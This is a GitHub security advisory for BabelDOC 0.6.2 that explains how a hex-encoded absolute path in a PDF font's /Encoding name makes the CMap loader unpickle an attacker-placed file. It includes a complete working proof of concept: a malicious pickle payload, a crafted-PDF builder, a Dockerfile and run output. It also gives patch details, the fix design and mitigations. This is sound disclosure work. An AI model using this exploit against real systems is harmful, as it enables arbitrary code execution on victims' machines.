GHSA-m8gf-v64p-gfmg

## Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

### Summary

BabelDOC's vendored PDF parser (`babeldoc/pdfminer/cmapdb.py`) deserializes untrusted pickle data when loading CMap files. The `_load_data()` method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to `os.path.join()` and `pickle.loads()`. Because Python's `os.path.join()` discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's `/Encoding` name (e.g., `/#2Ftmp#2Fattacker#2Fevil`) can redirect deserialization to any attacker-writable `.pickle.gz` file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.

### Details

The vulnerable function is `CMapDB._load_data()` at `babeldoc/pdfminer/cmapdb.py:232–245`:

```python @classmethod def _load_data(cls, name: str) -> Any: name = name.replace("\0", "") # line 233 — only NUL is stripped filename = "%s.pickle.gz" % name # line 234 — attacker-controlled string ... for directory in cmap_paths: path = os.path.join(directory, filename) # line 241 — no realpath/canonical check if os.path.exists(path): gzfile = gzip.open(path) try: return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional pickle ```

**Path injection via PDF name hex-encoding.** The PDF specification allows name objects to encode arbitrary bytes as `#xx`. The pdfminer literal-name parser (`psparser._parse_literal_hex`) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal `/#2Ftmp#2Fattacker#2Fevil` is decoded to the Python string `/tmp/attacker/evil`.

**Python `os.path.join()` absolute-path override.** When the decoded name starts with `/` (i.e., it is an absolute path), Python's `os.path.join(directory, name + ".pickle.gz")` ignores `directory` entirely and returns the absolute path unchanged. The trusted `cmap_paths` directories (`/usr/share/pdfminer/`, the package's own `cmap/` folder) are therefore completely bypassed.

**Data flow from PDF to sink:**

1. `babeldoc/main.py:611–622` — CLI accepts a PDF path; only existence and `.pdf` suffix are checked. 2. `babeldoc/main.py:678–679` — path stored in `TranslationConfig(input_file=file)`. 3. `babeldoc/format/pdf/high_level.py:472–488` — `translation_config.input_file` enters the translate pipeline. 4. `babeldoc/format/pdf/high_level.py:805–848` — PDF saved to `temp_pdf_path` and parsed with `parse_prepared_pdf_with_new_parser_to_legacy_ir`. 5. `babeldoc/format/pdf/new_parser/native_parse.py:60–70` — prepared pages loaded and interpreted. 6. `babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34` — PyMuPDF opens the PDF and builds page resources. 7. `babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94` — font resources converted to `PreparedFontSpec`. 8. `babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35` — page resource bundle resolves root font map. 9. `babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87` — each font spec projected and passed to `font_factory.create_font`. 10. `babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493` — CID fonts call `build_cid_cmap(spec, literal_name=literal_name)`. 11. `babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77` — PDF-controlled `/Encoding`/`CMapName` normalized and passed to `CMapDB.get_cmap`. `_normalize_cmap_name()` removes only a single leading `/`; all other path characters pass through. 12. `babeldoc/pdfminer/cmapdb.py:233–245` — **sink**: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with `pickle.loads()`.

**Sanitization gaps:**

- `name.replace("\0", "")` removes only the NUL byte; `..`, `/`, `\`, and hex-decoded path separators are unaffected. - There is no `os.path.realpath()`, `os.path.abspath()`, or `os.path.commonpath()` containment check before the file is opened. - There is no allowlist of known CMap names nor any integrity verification of the pickle data.

**Recommended patch** (`babeldoc/pdfminer/cmapdb.py`):

```diff --- a/babeldoc/pdfminer/cmapdb.py +++ b/babeldoc/pdfminer/cmapdb.py @@ cmap_paths = ( os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"), os.path.join(os.path.dirname(__file__), "cmap"), ) for directory in cmap_paths: - path = os.path.join(directory, filename) + base_dir = os.path.realpath(directory) + path = os.path.realpath(os.path.join(base_dir, filename)) + try: + if os.path.commonpath([base_dir, path]) != base_dir: + continue + except ValueError: + continue if os.path.exists(path): gzfile = gzip.open(path) ```

A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.

### PoC

**Environment setup (Docker — recommended for isolation):**

```bash # From the repository root docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile . docker run --rm vuln-001-babeldoc-cmap ```

**Manual setup (local venv):**

```bash python3 -m venv /tmp/babeldoc-poc-venv source /tmp/babeldoc-poc-venv/bin/activate pip install freetype-py==2.5.1 charset-normalizer cryptography export PYTHONPATH=/path/to/BabelDOC python3 poc.py ```

**PoC script (`poc.py`) — key steps:**

```python import gzip, pathlib, pickle, sys

CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc") MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz" MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf" PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")

# Step 1 — write the malicious pickle to a world-writable location class MaliciousPayload: def __reduce__(self): return (pathlib.Path(str(PROOF_FILE)).write_text, ("RCE_CONFIRMED: pickle.loads executed attacker payload",))

CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True) with gzip.open(MALICIOUS_PICKLE, "wb") as fh: pickle.dump(MaliciousPayload(), fh)

# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path # "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious" encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ... # Full source in poc.py

# Step 3 — trigger via the pdfminer high-level API from babeldoc.pdfminer.high_level import extract_text try: extract_text(str(MALICIOUS_PDF)) except TypeError: pass # expected: type(name, (), <int>) fails after write_text returns int

# Step 4 — verify assert PROOF_FILE.exists(), "FAIL: proof file not created" print(PROOF_FILE.read_text()) # => "RCE_CONFIRMED: pickle.loads executed attacker payload" ```

**Phase 2 dynamic reproduction output (Docker container):**

``` [+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz [+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf [*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ... [*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int [*] This exception is expected; the payload ran before it.

============================================================ RESULT: PASS Proof file: /tmp/babeldoc_cmap_rce_proof.txt Content: 'RCE_CONFIRMED: pickle.loads executed attacker payload' ============================================================ ```

The `TypeError` is benign and expected: `write_text()` returns an integer, and the subsequent `type(name, (), <int>)` call in `_load_data()` raises before reaching further code. The payload already executed successfully at that point.

**Attack path summary:**

``` PDF /Encoding /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious -> pdfminer hex-decodes #2F -> '/' -> literal_name = "/tmp/babeldoc-cmap-poc/malicious" -> CMapDB._load_data("/tmp/babeldoc-cmap-poc/malicious") -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" # absolute path! -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz") == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" # first arg discarded -> gzip.open() + pickle.loads() -> arbitrary code execution ```

### Impact

This is an **Arbitrary Code Execution** vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.

**Who is impacted:**

- **End users** who open a malicious PDF with the `babeldoc` CLI or any application embedding BabelDOC's PDF translation/text-extraction functionality. - **Automated document processing pipelines** (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.

**Attack prerequisites:**

1. The attacker must be able to place a `.pickle.gz` file at a predictable path on the local filesystem (e.g., `/tmp/`), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative. 2. The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required — default PDF processing is the vulnerable code path.

**Scope:** The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user's process), justifying the **Changed** scope in the CVSS vector and potential lateral movement between users on multi-user systems.

**Consequences:** Full code execution with the victim process's privileges — confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile FROM python:3.11-slim

# Install system-level dependencies for freetype RUN apt-get update && apt-get install -y --no-install-recommends \ libfreetype6 \ && rm -rf /var/lib/apt/lists/*

# Install minimal Python dependencies required by babeldoc/pdfminer RUN pip install --no-cache-dir \ freetype-py==2.5.1 \ charset-normalizer \ cryptography

# Copy the BabelDOC repository (only babeldoc package directory is needed) COPY repo/babeldoc /app/babeldoc

# Copy the PoC script COPY vuln-001/poc.py /app/poc.py

WORKDIR /app

# PYTHONPATH exposes babeldoc package without a full pip install ENV PYTHONPATH=/app

CMD ["python3", "poc.py"] ```

#### `poc.py`

```python """ PoC: CMap Pickle Deserialization via Absolute Path Injection CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2

Vulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes from the CMap name before building a filesystem path. A PDF name object using #xx hex-encoding can inject absolute path characters (/) so that os.path.join() discards the trusted cmap directory entirely, opening and unpickling an attacker-placed .pickle.gz file.

Attack flow: PDF /Encoding /#2Ftmp#2F...#2Fmalicious -> pdfminer hex-decodes #2F -> '/' -> literal_name() returns "/tmp/.../malicious" -> _load_data("/tmp/.../malicious") -> filename = "/tmp/.../malicious.pickle.gz" (absolute path!) -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz") == "/tmp/.../malicious.pickle.gz" (Python discards first arg) -> gzip.open() + pickle.loads() => arbitrary code execution """

import gzip import os import pathlib import pickle import sys

# --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc") MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz" MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf" PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")

# --------------------------------------------------------------------------- # Step 1: Build the malicious pickle payload # --------------------------------------------------------------------------- class MaliciousPayload: """Pickle payload that writes a proof file on deserialization."""

def __reduce__(self): # Write proof file when unpickled; any writable command works here. return ( pathlib.Path(str(PROOF_FILE)).write_text, ("RCE_CONFIRMED: pickle.loads executed attacker payload",), )

def create_malicious_pickle(): CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True) PROOF_FILE.unlink(missing_ok=True)

with gzip.open(MALICIOUS_PICKLE, "wb") as fh: pickle.dump(MaliciousPayload(), fh)

print(f"[+] Malicious pickle written: {MALICIOUS_PICKLE}")

# --------------------------------------------------------------------------- # Step 2: Build the malicious PDF # --------------------------------------------------------------------------- def create_malicious_pdf(): """ Craft a minimal PDF with a Type0 CID font whose /Encoding name is a PDF literal that hex-encodes an absolute Unix path.

PDF name syntax: /<characters> where #xx is hex escape for byte 0xxx. "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value "/tmp/babeldoc-cmap-poc/malicious" (starts with '/').

When passed through babeldoc/pdfminer: literal_name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious" _load_data() -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz") => "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" (absolute wins!) """ # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious # '#2F' = '/' in PDF name hex encoding encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

content_stream = b"BT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\n"

# PDF objects (1-indexed) objs = [ # 1: Catalog b"<< /Type /Catalog /Pages 2 0 R >>", # 2: Pages b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", # 3: Page - references content stream (4) and font (5) b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]" b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>", # 4: Content stream b"<< /Length %d >>\nstream\n" % len(content_stream) + content_stream + b"\nendstream", # 5: Type0 font with malicious /Encoding name b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont" b" /Encoding " + encoding_name + b"" b" /DescendantFonts [6 0 R] >>", # 6: CIDFontType2 descendant b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont" b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)" b" /Supplement 0 >> /FontDescriptor 7 0 R >>", # 7: FontDescriptor (minimal) b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4" b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0" b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>", ]

buf = bytearray(b"%PDF-1.4\n") offsets = [] for i, obj_data in enumerate(objs, 1): offsets.append(len(buf)) buf += f"{i} 0 obj\n".encode() + obj_data + b"\nendobj\n"

xref_offset = len(buf) buf += f"xref\n0 {len(objs) + 1}\n0000000000 65535 f \n".encode() for off in offsets: buf += f"{off:010d} 00000 n \n".encode() buf += ( f"trailer\n<< /Size {len(objs) + 1} /Root 1 0 R >>\n" f"startxref\n{xref_offset}\n%%EOF\n" ).encode()

MALICIOUS_PDF.write_bytes(bytes(buf)) print(f"[+] Malicious PDF written: {MALICIOUS_PDF}")

# --------------------------------------------------------------------------- # Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text # --------------------------------------------------------------------------- def trigger_exploit(): from babeldoc.pdfminer.high_level import extract_text

print(f"[*] Calling extract_text({MALICIOUS_PDF}) ...") try: result = extract_text(str(MALICIOUS_PDF)) print(f"[+] extract_text completed, returned {len(result)} chars") except Exception as exc: # A TypeError is expected: after pickle.loads() returns the result of # write_text() (an int), the code tries type(name, (), <int>) which # raises TypeError. The write has already happened at this point. print(f"[*] extract_text raised {type(exc).__name__}: {exc}") print("[*] This exception is expected; the payload ran before it.")

# --------------------------------------------------------------------------- # Step 4: Verify RCE evidence # --------------------------------------------------------------------------- def verify_rce(): if PROOF_FILE.exists(): content = PROOF_FILE.read_text() print() print("=" * 60) print("RESULT: PASS") print(f"Proof file: {PROOF_FILE}") print(f"Content: {content!r}") print("=" * 60) return True else: print() print("=" * 60) print("RESULT: FAIL") print(f"Proof file {PROOF_FILE} was NOT created.") print("=" * 60) return False

# --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main(): print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===") print(f"Python: {sys.version}") print()

create_malicious_pickle() create_malicious_pdf() trigger_exploit() success = verify_rce()

sys.exit(0 if success else 1)

if __name__ == "__main__": main() ```

---

## Notes from the maintainer

### CVSS revision note

The CVSS v3.1 vector has been revised from the reporter's initial `CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` (8.6) to `CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (7.8) on maintainer review. The severity rating remains **High**.

One metric is revised; the remaining metrics (`AV:L`, `AC:L`, `PR:N`, `UI:R`, `C:H/I:H/A:H`) are unchanged from the reporter's assessment.

- **Scope: Changed → Unchanged.** BabelDOC is a PDF-processing library running with the caller process's operating-system permissions; it does not enforce a separate security authority over OS files, users, or downstream services. The malicious pickle payload executes in that same BabelDOC Python process. Under CVSS v3.1, this is Scope Unchanged: the vulnerable component and the impacted component are governed by the same authority. No sandbox, VM, browser-client, or application-defined authorization boundary is crossed.

The remaining metrics are retained intentionally:

- `AV:L`, `PR:N`, `UI:R`: the attack requires local presence of attacker-influenced data (consistent with `AV:L`), does not require authenticated access to BabelDOC itself (`PR:N`), and depends on a user actually processing the crafted PDF (`UI:R`). - `AC:L`: kept aligned with industry practice for CWE-502 deserialization issues; once the supporting filesystem condition exists, the same-process exploitation path is consistent and repeatable. - `C:H`, `I:H`, `A:H`: full code-execution impact within the BabelDOC process.

We thank EQSTLab for the detailed report and PoC; this revision is limited to CVSS metric interpretation, and the issue remains High severity when exploitable.

### Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)

The original report covers entry point (1): the `Encoding` / `CMapName` font dictionary path, with absolute-path injection. Local review during patch preparation identified that the same `_load_data` sink is reached from one additional independently exploitable PDF-controlled path and two prefixed call sites covered at the sink for defense in depth:

1. `Encoding` / `CMapName` references in a font dictionary *(reported entry; absolute-path injection per the upstream report, `..` relative traversal also exploitable)* 2. The PostScript `usecmap` operator inside an embedded CMap stream *(independently exploitable via `..` relative traversal; not in the original report)* 3. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the legacy pdfminer pipeline 4. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the active new-parser pipeline

Call sites (3) and (4) were not reproduced as standalone PDF-only exploit paths in v0.6.x. The `get_unicode_map` caller prepends a `to-unicode-` prefix to the PDF-controlled name, which breaks absolute-path injection and means `..` traversal would require an additional crafted directory layout such as a `to-unicode-*` component under a CMap search location. The 0.6.3 sink-level fix still covers these call sites, so future removal of the prefix or a future unprefixed caller remains blocked.

### Fix design

The runtime CMap loader in 0.6.3 refuses to deserialize any file that does not simultaneously:

1. appear in a pinned manifest of bundled CMap filenames (allowlist), 2. resolve inside the bundled `runtime/data/cmap` directory after path resolution (containment check), and 3. byte-for-byte match the manifest's pinned byte size and SHA-256.

The integrity check runs on the compressed on-disk `.gz` bytes before decompression, so files whose compressed size or SHA-256 differs from the pinned manifest are rejected before `gzip` or `pickle` sees them. The legacy `CMAP_PATH` external search path is removed entirely; only the bundled directory is consulted. The active new-parser pipeline and the vendored pdfminer pipeline share the same verified-load entry point.

### Related hardening shipped in 0.6.3

A separate hardening in the same release sanitizes PDF-controlled XObject names before they reach the optional `ImageWriter` output path, preventing PDF-driven writes outside the configured output directory. This is separate from BabelDOC's default translation pipeline: the optional `ImageWriter` is not used by default and is only reachable when a third-party caller passes an explicit `output_dir`. It is included here for completeness.

### Risk reduction if you cannot upgrade immediately

These steps reduce known exploit preconditions on pre-0.6.3 versions; they are not equivalent to the 0.6.3 fix.

- Do not set the `CMAP_PATH` environment variable when running BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3 versions, unsetting it limits the attack surface to the bundled cmap directory under the BabelDOC package. - Run BabelDOC under an account that cannot create files in any directory BabelDOC will read CMap data from, including any pre-0.6.3 `CMAP_PATH` target. - Process only PDFs from trusted sources until upgrading.

### Maintenance policy

BabelDOC publishes security fixes only in the latest release. We do not publish maintainer-supported backports for older minor, patch, or release lines. For this advisory, the maintainer-supported fixed version is 0.6.3 or later; downstream distributors may carry their own patches, but older BabelDOC releases will not receive a separate upstream backport.

### Acknowledgements

We thank **EQSTLab** for the detailed private report, complete reproduction material, and coordinated-disclosure cooperation that allowed this fix to be prepared and released before public disclosure.

### Timeline

- 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and notifies maintainers - 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix - 2026-06-03 09:50 UTC: this advisory published - TBD: CVE identifier assigned (pending GitHub CNA review; GitHub documentation says CVE requests are usually reviewed within 72 hours)

### References

- BabelDOC 0.6.3 release notes: https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md - CVE: TBD (pending CNA assignment)